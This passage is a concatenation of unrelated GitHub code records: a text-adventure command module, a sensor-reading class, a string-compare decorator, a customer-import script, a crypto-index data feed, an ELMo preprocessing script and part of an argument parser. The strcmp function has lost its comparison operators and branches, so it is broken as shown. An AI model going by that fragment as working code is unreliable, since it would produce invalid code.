Here.\"\n\tHe reaches into his pocket and pulls out a sticker sheet.''')\n\t\t\t\t\t\tdict.item_desc(\"Stickers\")\n\t\t\t\t\t\tinventory.append(\"Stickers\")\n\t\t\t\telse:\n\t\t\t\t\tprint('''\"Nothing? Ah, okay.\"\nHe continues conversing with your boss.''')\n\n\t\t\tif x.lower() == \"skeleton\":\n\t\t\t\tprint(\"It's ignoring you.\")\n\n\t\telse:\n\t\t\tprint(\"That person isn't here.\")\n\n\t#other rooms\n\telif loca.charas != []:\n\t\t#playground\n\t\tif location == 1:\n\t\t\tif loca.quest_status == 1:\n\t\t\t\tprint('''You ask if the child can read the note from your boss.\nThe child seems to pay you no mind, only mumbling to themself.\n\"Man, I'm kinda hungry... But this sandcastle won't build itself! I have to stick with it!!\"''')\n\t\t\tif loca.quest_status == 2:\n\t\t\t\tif loca.charas != []:\n\t\t\t\t\tprint(\"You try to ask the child about the note, but they're too focused on their sandcastle to respond.\")\n\t\t#stargazers\n\t\telif location == 2:\n\t\t\tif loca.quest_status == 1:\n\t\t\t\tprint('''You sidestep the goose and walk up to the counter.\n“Hello! Welcome to Stargazer Cafe! What can I get for you?”\nYou show him the paper your boss gave you and ask if they have any.\n“Um, sorry. We don’t sell that here. We have plenty of beverages and pastries for you to choose from, though!”\n''')\n\t\t\tif loca.quest_status == 2:\n\t\t\t\tprint('''\"Enjoy your soda!''')\n\t\t#dungeon\n\t\telif location == 3:\n\t\t\tif loca.quest_status == 1:\n\t\t\t\tprint('''\"Why hello there, human!\"''')\n\t\t\tif loca.quest_status == 2:\n\t\t\t\tprint(\"The skeleton ran away.\")\n\t\t#shop\n\t\telif location == 4:\n\t\t\tif loca.quest_status == 1:\n\t\t\t\tprint('''You ask the shopkeeper if they have any of whatever is on this note.\nShe glances at the note.\n\"Sorry, we're all out of stock.\"\nman.''')\n\n\telse:\n\t\tprint(\"Nobody's here.\")\n\n\n#check [for items]\n\t#check + display item list but with words\ndef check():\n\tglobal location\n\n\tprint(f\"{loca}\")\n\n\t#charas\n\tif location == 0:\n\t\tif rooms.unlocked == 1:\n\t\t\tprint(\"You see four doors. 1 seems to be unlocked.\")\n\t\telif rooms.unlocked != 1:\n\t\t\tprint(f\"You see four doors. {rooms.unlocked} seem to be unlocked.\")\n\t\tfor i in rooms.cafecharas:\n\t\t\tprint(dict.cafechara.get(f\"{i.lower()}\"))\n\n\telif location != 0:\n\t\tfor i in loca.charas:\n\t\t\tprint(dict.chara.get(f\"{i.lower()}\"))\n\t\t#other\n\t\t#playground\n\t\tif location == 1:\n\t\t\tif rooms.Playground.charas != []:\n\t\t\t\tprint(\"The playground seems pretty deserted, save for that kid.\")\n\t\t#stargazers\n\n\t\t#dungeon\n\t\telif location == 3:\n\t\t\tif rooms.Dungeon.charas != []:\n\t\t\t\tprint(\"Skeleton aside, there's a lot of things in here: moss, gold, even a treasure chest.\")\n\t\t\telse:\n\t\t\t\tprint(\"There's a lot of things in here: moss, gold, even a treasure chest.\")\n\t\t#shop\n\t\telif location == 4:\n\t\t\tx = False\n\t\t\tif not x:\n\t\t\t\tprint(\"You see a whole host of people here.\")\n\t\t\t\tx = True\n\t\t\tif x:\n\t\t\t\tprint(\"After looking more closely at the people, you notice that there seems to be some sort of trading circle going on.\")\n\n\t#items\n\tfor i in loca.items:\n\t\tprint(dict.cdict.get(f\"{i}\"))\n\n#grab\ndef grab():\n\t#check + alter item list\n\tif loca.items != []:\n\t\t#grab the item\n\t\tx = loca.items[0]\n\t\t#add to inv\n\t\tinventory.append(x)\n\t\t#remove from room\n\t\tloca.items.remove(x)\n\n\t\tprint(dict.gdict.get(f\"{x}\"))\n\t\tinput(f\"Obtained {x}!\")\n\t\tprint(\"\\nYour current inventory:\")\n\t\tinv()\n\n\telse:\n\t\tprint(\"There's nothing to grab.\")\n\n\n#use\ndef use():\n\tglobal inventory\n\tglobal scrib_quest\n\t#check + alter inventory\n\tif inventory != [\"Notepad\",\"Boss' Note\"]:\n\t\t#cafe\n\t\tif location == 0:\n\t\t\tif scrib_quest == 1:\n\t\t\t\tif \"Stickers\" in inventory:\n\t\t\t\t\tprint('''You gave the stickers to the child.\n\"Thanks! Here's some sand. You can throw it at people or something.\"\nThe kid gives you a handful of sand.\nObtained Pocket Sand.''')\n\t\t\t\t\tscrib_quest = 2\n\t\t\t\t\tinventory.remove(\"Stickers\")\n\t\t\t\t\tinventory.append(\"Pocket Sand\")\n\t\t\telse:\n\t\t\t\tprint(\"You can't use anything.\")\n\n\t\t#playground\n\t\tif location == 1:\n\t\t\tif \"Cookie\" in inventory:\n\t\t\t\tinput('''You gave the child a cookie. They look at you in wonder.\n\"Whoa, thanks!\"\n\"Wait, I didn't pay for this...\"''')\n\t\t\t\tprint('''The child starts patting their pockets.\n\"Aha! Here's some money for the cookie!''')\n\t\t\t\tdict.item_desc(\"Money\")\n\t\t\t\tprint(\"The child immediately goes back to making their sandcastle.\")\n\n\t\t\t\tinventory.remove(\"Cookie\")\n\t\t\t\tinventory.append(\"Money\")\n\t\t\t\tloca.quest_status = 2\n\t\t\t\trooms.unlocked = 2\n\t\t\telse:\n\t\t\t\tprint(\"You can't use anything.\")\n\n\t\t#stargazers\n\t\telif location == 2:\n\t\t\tif \"Money\" in inventory:\n\t\t\t\tprint('''After careful consideration, you decide to buy a soda.\n“Have a nice day! Give your boss my regards.”\nOh, they know each other. Maybe it’s not a rivalry, after all.''')\n\t\t\t\tdict.item_desc(\"Soda\")\n\n\t\t\t\tinventory.remove(\"Money\")\n\t\t\t\tinventory.append(\"Soda\")\n\t\t\t\tloca.quest_status = 2\n\t\t\t\trooms.unlocked = 3\n\t\t\telse:\n\t\t\t\tprint(\"You can't use anything.\")\n\n\t\t#dungeon\n\t\telif location == 3:\n\t\t\tglobal sand\n\t\t\tif \"Pocket Sand\" in inventory:\n\t\t\t\tsand = True\n\t\t\t\tprint(\"You throw the sand at the skeleton's eye sockets.\\nIt covers its sockets as if in pain.\")\n\t\t\t\tinventory.remove(\"Pocket Sand\")\n\t\t\telif \"Goose\" in inventory:\n\t\t\t\tprint(\"You unleash the goose.\\nThe skeleton shrieks in terror.\")\n\t\t\t\tif sand:\n\t\t\t\t\tprint(\"Its terror seems amplified because of its impaired vision.\")\n\t\t\t\t\tdict.item_desc(\"Trinket\")\n\t\t\t\t\tinventory.append(\"Trinket\")\n\t\t\t\tprint(\"The goose honks.\")\n\t\t\t\tdict.item_desc(\"Sword\")\n\n\t\t\t\tinventory.remove(\"Goose\")\n\t\t\t\tinventory.append(\"Sword\")\n\t\t\t\tloca.quest_status = 2\n\t\t\t\trooms.unlocked = 4\n\t\t\telse:\n\t\t\t\tprint(\"You can't use anything.\")\n\n\t\t#shop\n\t\telif location == 4:\n\t\t\tif \"Shovel\" in inventory:\n\t\t\t\tprint('''The kid from the playground is here.\n\"Hey hey! I'll trade you that shovel for this truck!\"\nYou trade the plastic shovel you found for a toy truck.''')\n\t\t\t\tinventory.remove(\"Shovel\")\n\t\t\t\tinventory.append(\"Truck\")\n\t\t\telif \"Soda\" in inventory:\n\t\t\t\tif \"Truck\" in inventory:\n\t\t\t\t\tprint('''\"Yo! That truck and soda look pretty good. Care to trade?\"\nYou trade the cherry soda and toy truck for a strange mirror.''')\n\t\t\t\t\tinventory.remove(\"Soda\")\n\t\t\t\t\tinventory.remove(\"Truck\")\n\t\t\t\t\tinventory.append(\"Mirror\")\n\t\t\t\telif \"Truck\" not in inventory:\n\t\t\t\t\tprint('''\"Hey, that soda looks pretty good!\"\n\"I have a magic mirror, but I don't really feel like it's worth only a soda.\"\n\"If you can find something to sweeten the deal, I'll definitely trade with you!\"''')\n\t\t\telif \"Sword\" in inventory:\n\t\t\t\tif \"Mirror\" in inventory:\n\t\t\t\t\tprint('''\"Whoa! That sword and mirror look super cool!\"\n\"Here, I'll trade you.\"\nYou trade the sword and weird mirror for a.. mushroom? Alright then.''')\n\t\t\t\t\tinventory.remove(\"Sword\")\n\t\t\t\t\tinventory.remove(\"Mirror\")\n\t\t\t\t\tinventory.append(\"Mushroom\")\n\t\t\telif \"Moss\" in inventory:\n\t\t\t\tif \"Mushroom\" in inventory:\n\t\t\t\t\tprint('''A teenager approaches you.\n\"Hey, that moss and mushroom look pretty neat. I'll trade you this [] for it\"\nYou trade with the teenager.''')\n\t\t\t\t\tinventory.remove(\"Moss\")\n\t\t\t\t\tinventory.remove(\"Mushroom\")\n\t\t\t\t\tinventory.append(\"Duck\")\n\n\telse:\n\t\tprint(\"You can't use anything.\")\n\n#save\ndef save():\n\twith open (\"save.dat\",\"wb\") as f:\n\t\tpickle.dump(inventory,f)\n\t\tpickle.dump(location,f)\n\t\tpickle.dump(sand,f)\n\t\tpickle.dump(scrib_quest,f)\n\n\t\tpickle.dump(rooms.cafecharas,f)\n\t\tpickle.dump(rooms.unlocked,f)\n\n\t\tpickle.dump(rooms.Cafe,f)\n\t\tpickle.dump(rooms.Playground,f)\n\t\tpickle.dump(rooms.Stargazers,f)\n\t\tpickle.dump(rooms.Dungeon,f)\n\t\tpickle.dump(rooms.Shop,f)\n\n\t\tf.close()\n\tprint(\"Game saved.\")\n\n#load\ndef load():\n\tglobal inventory\n\tglobal location\n\tglobal sand\n\tglobal scrib_quest\n\n\ttry:\n\t\twith open(\"save.dat\",\"rb\") as f:\n\t\t\tinventory = pickle.load(f)\n\t\t\tlocation = pickle.load(f)\n\t\t\tsand = pickle.load(f)\n\t\t\tscrib_quest = pickle.load(f)\n\n\t\t\trooms.cafecharas = pickle.load(f)\n\t\t\trooms.unlocked = pickle.load(f)\n\n\t\t\trooms.Cafe = pickle.load(f)\n\t\t\trooms.Playground = pickle.load(f)\n\t\t\trooms.Stargazers = pickle.load(f)\n\t\t\trooms.Dungeon = pickle.load(f)\n\t\t\trooms.Shop = pickle.load(f)\n\n\t\t\tf.close()\n\t\tprint(\"Save loaded.\")\n\n\texcept FileNotFoundError:\n\t\tprint(\"No save found.\")","repo_name":"tuxiai/octo-dollop","sub_path":"commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":12091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"22306420108","text":"import smbus\nimport time\nfrom adxl345 import ADXL345\nfrom l3g4200d import L3G4200D\nfrom h3c5883l import H3C5883L \n\nclass GY801:\n def __init__(self):\n self.accx = 0\n self.accy = 0\n self.accz = 0\n self.gx = 0\n self.gy = 0\n self.gz = 0\n self.magx = 0\n self.magy = 0\n self.magz = 0\n self.airPressure = 0\n self.numRecord = 10\n self.timeInteration = 1\n\n def accReading(self): \n device_acc = ADXL345()\n i = self.numRecord\n while(i > 0):\n device_acc.read_data()\n self.accx, self.accy, self.accz = device_acc.getAcc()\n print(\"x = %.4f (m/s)\" % ( self.accx ))\n print(\"y = %.4f (m/s)\" % ( self.accy ))\n print(\"z = %.4f (m/s)\" % ( self.accz ))\n print(\"\\n\")\n time.sleep(self.timeInteration)\n i-=1\n\n def gyReading(self):\n device_gy = L3G4200D()\n i = self.numRecord\n while(i > 0):\n device_gy.read_data()\n self.gx,self.gy,self.gz = device_gy.getGyro()\n print(\"Rotation in X-Axis : %d\" %self.gx)\n print(\"Rotation in Y-Axis : %d\" %self.gy)\n print(\"Rotation in Z-Axis : %d\" %self.gz) \n print(\"\\n\")\n time.sleep(self.timeInteration)\n i-=1\n\n def magReading(self):\n device_mag = H3C5883L()\n i = self.numRecord\n while(i > 0):\n device_mag.read_data()\n self.magx,self.magy,self.magz = device_mag.getMag()\n print(\"Mag in X-Axis : %4f\" %self.magx)\n print(\"Mag in Y-Axis : %4f\" %self.magy)\n print(\"Mag in Z-Axis : %4f\" %self.magz)\n print(\"\\n\")\n time.sleep(self.timeInteration)\n i-=1\n\n def airReading(self):\n pass\n\n def gy2degree(self):\n self.degreex = 0\n self.degreey = 0\n self.degreez = 0\n\n def air2height(self):\n self.height = 0\n","repo_name":"bbbchiu/AutoDataReadingBot","sub_path":"Raspberrypi/gy801.py","file_name":"gy801.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"22852500750","text":"def deco(func):\r\n def dec(*args):\r\n lis=[]\r\n for i in range(len(args)):\r\n lis.append(args[i].replace(' ',''))\r\n return func(lis[0],lis[1])\r\n return dec\r\n\r\n@deco\r\ndef strcmp(s,t):\r\n for i in range(min(len(s),len(t))):\r\n if s[i]t[i]:\r\n return 1\r\n else:\r\n i+1\r\n if len(s)len(t):\r\n return 1\r\n else:\r\n return 0\r\n\r\ns=input('첫번째 문자열 입력')\r\nt=input('두번째 문자열 입력')\r\nresult=strcmp(s,t)\r\nprint(result) ","repo_name":"o-zonc/Python","sub_path":"strcmp.py","file_name":"strcmp.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"25640010641","text":"import boto3\r\nimport json\r\nimport copy\r\nimport uuid\r\nimport requests\r\nimport common\r\n\r\nclient = boto3.client('dynamodb')\r\nssm = boto3.client('ssm')\r\nSTAGE = ssm.get_parameter(Name='/test/STAGE',\r\n WithDecryption=False)['Parameter']['Value']\r\ncustomer_template_file_name = './customers/institution.json'\r\ntest_customers_file_name = './customers/test_institutions.json'\r\ncustomer_tablename = 'nva_customers'\r\ncustomer_endpoint = 'https://api.{}.nva.aws.unit.no/customer'.format(STAGE)\r\n\r\ndef scan_customers():\r\n response = client.scan(TableName=customer_tablename)\r\n\r\n return response['Items']\r\n\r\ndef delete_customers():\r\n customers = scan_customers()\r\n for customer in customers:\r\n if 'archiveName' in customer:\r\n archiveName = customer['archiveName']['S']\r\n print(archiveName)\r\n if 'test archive' in archiveName:\r\n print('deleting {}'.format(archiveName))\r\n response = client.delete_item(\r\n TableName=customer_tablename,\r\n Key={'identifier': {\r\n 'S': customer['identifier']['S']\r\n }})\r\n\r\ndef create_customers(bearer_token):\r\n with open(customer_template_file_name) as customer_template_file:\r\n customer_template = json.load(customer_template_file)\r\n\r\n with open(test_customers_file_name) as test_customers_file:\r\n\r\n test_customers = json.load(test_customers_file)\r\n for test_customer in test_customers:\r\n new_customer = copy.deepcopy(customer_template)\r\n new_customer['feideOrganizationId'] = test_customer[\r\n 'feide_organization_id']\r\n new_customer['identifier'] = str(uuid.uuid4())\r\n new_customer['cristinId'] = test_customer['cristinId']\r\n new_customer['displayName'] = test_customer['displayName']\r\n new_customer['name'] = test_customer['name']\r\n new_customer['shortName'] = test_customer['shortName']\r\n new_customer['archiveName'] = 'test archive'\r\n\r\n print('Creating customer: {}'.format(test_customer['name']))\r\n response = put_item(new_customer=new_customer, bearer_token=bearer_token)\r\n if response.status_code != 201:\r\n print('Error creating customer with name {}'.format(test_customer['name']))\r\n print(response.__dict__)\r\n\r\ndef put_item(new_customer, bearer_token):\r\n headers = {\r\n 'Authorization': 'Bearer {}'.format(bearer_token),\r\n 'accept': 'application/json'\r\n }\r\n response = requests.post(customer_endpoint, json=new_customer, headers=headers)\r\n\r\n return response\r\n\r\n\r\ndef run():\r\n print('customers...')\r\n bearer_token = common.login()\r\n delete_customers()\r\n create_customers(bearer_token)\r\n\r\n\r\nif __name__ == '__main__':\r\n run()","repo_name":"BIBSYSDEV/NVA-test-data","sub_path":"import_customers.py","file_name":"import_customers.py","file_ext":"py","file_size_in_byte":2932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"934639066","text":"# standard library import\nfrom datetime import datetime, timezone\n\n# third party import\nfrom pymongo import MongoClient\n\n# local import\nimport cryptoindex.data_setup as data_setup\nimport cryptoindex.mongo_setup as mongo\n\n\n# ############# INITIAL SETTINGS ################################\n\npair_array = [\"gbp\", \"usd\", \"cad\", \"jpy\", \"eur\", \"usdt\", \"usdc\"]\n# pair complete = ['gbp', 'usd', 'cad', 'jpy', 'eur', 'usdt', 'usdc']\nCrypto_Asset = [\n \"BTC\",\n \"ETH\",\n \"XRP\",\n \"LTC\",\n \"BCH\",\n \"EOS\",\n \"ETC\",\n \"ZEC\",\n \"ADA\",\n \"XLM\",\n \"XMR\",\n \"BSV\",\n]\n# crypto complete [ 'BTC', 'ETH', 'XRP', 'LTC', 'BCH', 'EOS',\n# 'ETC', 'ZEC', 'ADA', 'XLM', 'XMR', 'BSV']\nExchanges = [\n \"coinbase-pro\",\n \"poloniex\",\n \"bitstamp\",\n \"gemini\",\n \"bittrex\",\n \"kraken\",\n \"bitflyer\",\n]\n# exchange complete = [ 'coinbase-pro', 'poloniex', 'bitstamp',\n# 'gemini', 'bittrex', 'kraken', 'bitflyer']\n\nstart_date = \"01-01-2016\"\nEXC_start_date = \"04-17-2020\"\n\n\nday_in_sec = 86400\n\n\n# set today\ntoday_str = datetime.now().strftime(\"%Y-%m-%d\")\ntoday = datetime.strptime(today_str, \"%Y-%m-%d\")\ntoday_TS = int(today.replace(tzinfo=timezone.utc).timestamp())\n\n\n# define the array containing the date where the index uses CW feed data\nCW_date_arr = data_setup.date_gen(start_date, EXC_start_date)\nCW_date_str = [str(date) for date in CW_date_arr]\n\n# ######################## setup MongoDB connection ###########################\n\n# connecting to mongo in local\nconnection = MongoClient(\"localhost\", 27017)\n# creating the database called index\ndb = connection.index\n\n# drop the pre-existing collection (if there is one)\ndb.index_data_feed.drop()\n\n# creating the empty collection cleandata within the database index\ndb.index_data_feed.create_index([(\"id\", -1)])\ncollection_feed = db.index_data_feed\n\n# ############################## CW and EXC series union ###################\n\n# defining the database name and the collection name\ndatabase = \"index\"\ncollection_CW = \"CW_final_data\"\ncollection_EXC = \"EXC_final_data\"\n\n# downloading the EXC series from MongoDB\nEXC_series = mongo.query_mongo(database, collection_EXC)\nEXC_series = EXC_series[\n [\"Time\", \"Close Price\", \"Crypto Volume\", \"Pair Volume\", \"Exchange\", \"Pair\"]]\n\n# downloading the CW series from MongoDB and selecting only the date\n# from 2016-01-01 to 2020-04-17\nCW_series = mongo.query_mongo(database, collection_CW)\nCW_sub_series = CW_series.loc[CW_series.Time.isin(CW_date_str)]\nCW_sub_series = CW_sub_series[\n [\"Time\", \"Close Price\", \"Crypto Volume\", \"Pair Volume\", \"Exchange\", \"Pair\"]]\n\n# creting an unique dataframe containing the two different data source\ndata_feed = CW_sub_series.append(EXC_series, sort=True)\ndata_feed = data_feed[\n [\"Time\", \"Close Price\", \"Crypto Volume\", \"Pair Volume\", \"Exchange\", \"Pair\"]]\n# put the converted data on MongoDB\ndata = data_feed.to_dict(orient=\"records\")\ncollection_feed.insert_many(data)\n","repo_name":"fakecoinbase/dginstslashcrypto-index","sub_path":"bin/index_computation/index_data_feed.py","file_name":"index_data_feed.py","file_ext":"py","file_size_in_byte":2906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"11554291048","text":"from sys import argv\n\nwith open(argv[1], mode=\"r\") as input_file:\n texts = input_file.readlines()\n\nwith open(argv[2], mode=\"r\") as index_file:\n indices = [int(i) for i in index_file.readlines()]\n indices.sort()\n\nprint(indices)\ncount = 0\nfor nu in indices:\n del texts[nu - count - 1]\n count += 1\n\nwith open(argv[3], mode=\"w\") as output_file:\n for text in texts:\n output_file.writelines(text)\n","repo_name":"Minhnhat45/capu_capitalize","sub_path":"evaluate/delete_sentence_by_index.py","file_name":"delete_sentence_by_index.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"3274939069","text":"import os\nimport numpy as np\nimport tensorflow as tf\nfrom collections import Counter\nimport tensorflow_hub as hub\nimport json\nimport argparse\n\nparser = argparse.ArgumentParser(description='Process some integers.')\nparser.add_argument('--data_path',\n type=str,\n default='data/',\n help='path for the data folder')\nparser.add_argument('--dataset_name',\n type=str,\n default='biology_abstract',\n help='clinical_reports or biology_abstract')\nparser.add_argument('--task',\n type=str,\n default='speculation',\n help='speculation or negation')\nargs = parser.parse_args()\n\n\nclass ELMO:\n def __init__(self):\n elmo = hub.Module(\"https://tfhub.dev/google/elmo/2\", trainable=False)\n self.tokens = tf.placeholder(dtype=tf.string,\n shape=[None, None],\n name='input_tokens')\n self.l = tf.placeholder(dtype=tf.int32, shape=[None], name='length')\n\n token_embedding = elmo(inputs={\n \"tokens\": self.tokens,\n \"sequence_len\": self.l\n },\n signature=\"tokens\",\n as_dict=True)\n\n self.we = token_embedding['word_emb']\n self.lm1 = token_embedding['lstm_outputs1']\n self.lm2 = token_embedding['lstm_outputs2']\n\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n\n self.session = tf.Session(config=config)\n self.session.run(tf.global_variables_initializer())\n self.session.run(tf.tables_initializer())\n\n def get_embeddings(self, x, l):\n we, lm1, lm2 = self.session.run([self.we, self.lm1, self.lm2],\n feed_dict={\n self.tokens: x,\n self.l: l\n })\n return we, lm1, lm2\n\n\ndef parse_text(text):\n sentences = text.split('\\n\\n')\n\n all_pos = Counter()\n all_dep = Counter()\n all_path = Counter()\n all_lpath = Counter()\n all_vocab = Counter()\n all_cp = Counter()\n\n max_length = 0\n\n # parse one sentences\n for sentence in sentences:\n token_sequence = []\n\n for token in sentence.split('\\n'):\n if len(token) >= 8:\n token = token.split('\\t')\n token_sequence.append(token)\n all_vocab.update([item[0].lower() for item in token_sequence])\n all_pos.update([item[2] for item in token_sequence])\n all_dep.update([item[3] for item in token_sequence])\n all_path.update([item[4] for item in token_sequence])\n all_lpath.update([item[5] for item in token_sequence])\n all_cp.update([item[6] for item in token_sequence])\n\n max_length = max(max_length, len(token_sequence))\n\n return all_pos, all_dep, all_path, all_lpath, all_cp, max_length, all_vocab\n\n\ndef write_tf_records(text, output_filename, all_we, all_lm1, all_lm2, pos2id,\n sem2id, root2id, token2id):\n writer = tf.python_io.TFRecordWriter(output_filename)\n sentences = text.split('\\n\\n')\n for sent_id, sentence in enumerate(sentences):\n token_sequence = []\n token_ids = []\n\n for token in sentence.split('\\n'):\n if len(token) >= 8:\n token = token.split('\\t')\n token_sequence.append(token)\n\n tokens = [item[0] for item in token_sequence]\n for token in tokens:\n if token in token2id.keys():\n token_ids.append(token2id[token])\n else:\n token_ids.append(0)\n\n cues = [int(item[7]) for item in token_sequence]\n pos = [pos2id[item[2]] for item in token_sequence]\n dep = [sem2id[item[3]] for item in token_sequence]\n path = [root2id[item[4]] for item in token_sequence]\n lpath = [int(item[5]) for item in token_sequence]\n cp = [int(item[6]) for item in token_sequence]\n span = [int(item[8]) for item in token_sequence]\n\n if len(tokens) > 0:\n we = all_we[sent_id]\n lm1 = all_lm1[sent_id]\n lm2 = all_lm2[sent_id]\n l = len(tokens)\n\n embeddings = np.zeros([l, 1024, 3])\n embeddings[:, :512, 0] = we[:l, :]\n embeddings[:, 512:, 0] = we[:l, :]\n embeddings[:, :, 1] = lm1[:l, :]\n embeddings[:, :, 2] = lm2[:l, :]\n\n context = tf.train.Features(feature={ # Non-serial data uses Feature\n \"length\": tf.train.Feature(int64_list=tf.train.Int64List(value=[len(tokens)])),\n })\n\n token_features = [\n tf.train.Feature(float_list=tf.train.FloatList(\n value=embedding.reshape(-1))) for embedding in embeddings\n ]\n cue_features = [\n tf.train.Feature(int64_list=tf.train.Int64List(value=[cue]))\n for cue in cues\n ]\n pos_features = [\n tf.train.Feature(int64_list=tf.train.Int64List(value=[pos_]))\n for pos_ in pos\n ]\n dep_features = [\n tf.train.Feature(int64_list=tf.train.Int64List(value=[dep_]))\n for dep_ in dep\n ]\n path_features = [\n tf.train.Feature(int64_list=tf.train.Int64List(value=[path_]))\n for path_ in path\n ]\n lpath_features = [\n tf.train.Feature(int64_list=tf.train.Int64List(value=[lpath_]))\n for lpath_ in lpath\n ]\n cp_features = [\n tf.train.Feature(int64_list=tf.train.Int64List(value=[cp_]))\n for cp_ in cp\n ]\n span_features = [\n tf.train.Feature(int64_list=tf.train.Int64List(value=[span_]))\n for span_ in span\n ]\n token_id_features = [\n tf.train.Feature(int64_list=tf.train.Int64List(value=[id_]))\n for id_ in token_ids\n ]\n\n feature_list = {\n 'token': tf.train.FeatureList(feature=token_features),\n 'token_id': tf.train.FeatureList(feature=token_id_features),\n 'cue': tf.train.FeatureList(feature=cue_features),\n 'pos': tf.train.FeatureList(feature=pos_features),\n 'dep': tf.train.FeatureList(feature=dep_features),\n 'path': tf.train.FeatureList(feature=path_features),\n 'lpath': tf.train.FeatureList(feature=lpath_features),\n 'cp': tf.train.FeatureList(feature=cp_features),\n 'span': tf.train.FeatureList(feature=span_features),\n }\n\n feature_lists = tf.train.FeatureLists(feature_list=feature_list)\n ex = tf.train.SequenceExample(feature_lists=feature_lists,\n context=context)\n writer.write(ex.SerializeToString())\n\n writer.close()\n\n\ndef find_text_list(text, max_len):\n sentences = text.split('\\n\\n')\n\n text_list = []\n length_list = []\n\n for sentence in sentences:\n token_sequence = []\n\n for token in sentence.split('\\n'):\n if len(token) >= 8:\n token = token.split('\\t')\n token_sequence.append(token[0])\n if len(token_sequence) > 0:\n length_list.append(len(token_sequence))\n for _ in range(max_len - len(token_sequence)):\n token_sequence.append('')\n\n text_list.append(token_sequence)\n\n return text_list, length_list\n\n\ndef data_iter(x, l):\n current_id = 0\n num_instance = len(x)\n\n while current_id < num_instance:\n yield x[current_id:current_id + 10], l[current_id:current_id + 10]\n current_id += 10\n\n\ndef find_embeddings(text_list, length_list, elmo):\n all_we = []\n all_lm1 = []\n all_lm2 = []\n\n for x, l in data_iter(text_list, length_list):\n we, lm1, lm2 = elmo.get_embeddings(x, l)\n all_we += list(we)\n all_lm1 += list(lm1)\n all_lm2 += list(lm2)\n\n all_we = np.array(all_we)\n all_lm1 = np.array(all_lm1)\n all_lm2 = np.array(all_lm2)\n\n return all_we, all_lm1, all_lm2\n\n\ndef main():\n data_path = args.data_path + 'conll/gold_cue/' + args.task + '_' + args.dataset_name + '/'\n output_path = args.data_path + 'tfrecords_elmo/gold_cue/' + args.task + '_' + args.dataset_name + '/'\n\n if not os.path.isdir(output_path):\n os.makedirs(output_path)\n\n filenames = [item for item in os.listdir(data_path)]\n\n all_pos = Counter()\n all_dep = Counter()\n all_path = Counter()\n all_vocab = Counter()\n all_depth = Counter()\n all_cp = Counter()\n max_len = 0\n\n for filename in filenames:\n full_path = data_path + filename\n text = open(full_path, 'r').read()\n pos, sem, root, depth, cp, max_len_ins, vocab_ins = parse_text(text)\n all_pos += pos\n all_dep += sem\n all_path += root\n all_depth += depth\n all_vocab += vocab_ins\n all_cp += cp\n\n max_len = max(max_len, max_len_ins)\n\n all_vocab = all_vocab.most_common(len(all_vocab))\n valid_vocabulary = [item[0] for item in all_vocab if item[1] >= 5]\n token2id = {\n token: token_id + 1\n for token_id, token in enumerate(valid_vocabulary)\n }\n\n all_pos = [item[0] for item in all_pos.most_common(len(all_pos))]\n all_dep = [item[0] for item in all_dep.most_common(len(all_dep))]\n all_path = [item[0] for item in all_path.most_common(len(all_path))]\n\n pos2id = {item: key for key, item in enumerate(all_pos)}\n dep2id = {item: key for key, item in enumerate(all_dep)}\n path2id = {item: key for key, item in enumerate(all_path)}\n\n print(len(all_pos), len(all_dep), len(all_path), max_len)\n\n elmo = ELMO()\n\n json.dump({\n 'pos': pos2id,\n 'dep': dep2id,\n 'path': path2id\n },\n open(output_path + '/meta.json', 'w'),\n indent=True)\n\n for filename in filenames:\n full_path = data_path + filename\n text = open(full_path, 'r').read()\n\n x, l = find_text_list(text, max_len)\n we, lm1, lm2 = find_embeddings(x, l, elmo)\n output_file = output_path + filename[:-5] + 'tfr'\n print(output_file)\n write_tf_records(text, output_file, we, lm1, lm2, pos2id, dep2id, path2id,\n token2id)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"henghuiz-zz/feature_enrich_negation","sub_path":"preprocessing/conll2tfrecord_elmo_gold_cue.py","file_name":"conll2tfrecord_elmo_gold_cue.py","file_ext":"py","file_size_in_byte":9678,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"50"} +{"seq_id":"17467462378","text":"import os, sys, torch, importlib, argparse, numpy as np, trimesh\n\nsys.path.append('util')\nsys.path.append('models')\nsys.path.append('checkpoint')\nsys.path.append('/Midgard/home/zehang/project/keypoint_humanoids')\n\nfrom tqdm import tqdm\nfrom util.Torch_Utility import chamfer_distance_with_batch\nimport matplotlib.pyplot as plt\nfrom torch.utils.data import DataLoader\nfrom util import Datasets\nfrom util.Torch_Utility import copy_parameters, kp_pred, calc_smooth, calc_dist_point2mesh\nfrom util.loaddata import General_PartKPDataLoader_HDF5\nimport matplotlib.pyplot as plt\n\n\ndef parse_args():\n parser = argparse.ArgumentParser('Point Cloud Keypoint Detection')\n\n ''' === Training Setting === '''\n parser.add_argument('--log_dir', type=str, help='log folder [default: ]')\n parser.add_argument('--gpu', type=str, default='0', help='GPU [default: 0]')\n parser.add_argument('--batch_size', type=int, default=32, help='batch size [default: 32]')\n parser.add_argument('--epoch', type=int, default=50, help='number of epoch [default: 50]')\n parser.add_argument('--lr', type=float, default=0.0001, help='learning rate [default: 1e-4]')\n parser.add_argument('--lr_decay', type=float, default=0.7, help='lr decay rate [default: 0.7]')\n parser.add_argument('--step_size', type=int, default=20, help='lr decay step [default: 20 epoch]')\n parser.add_argument('--savemodel', action='store_true', help='save the model')\n parser.add_argument('--restore', action='store_true', help='loaded from restore [default: False]')\n parser.add_argument('--restore_path', type=str, help='path to saved pre-trained model [default: ]')\n parser.add_argument('--steps_eval', type=int, default=1000, help='# steps to evaluate [default: 1e3]')\n parser.add_argument('--epochs_save', type=int, default=5, help='# epochs to save [default: 5 epochs]')\n parser.add_argument(\"--tasklist\", nargs=\"+\", default=[1, 2])\n 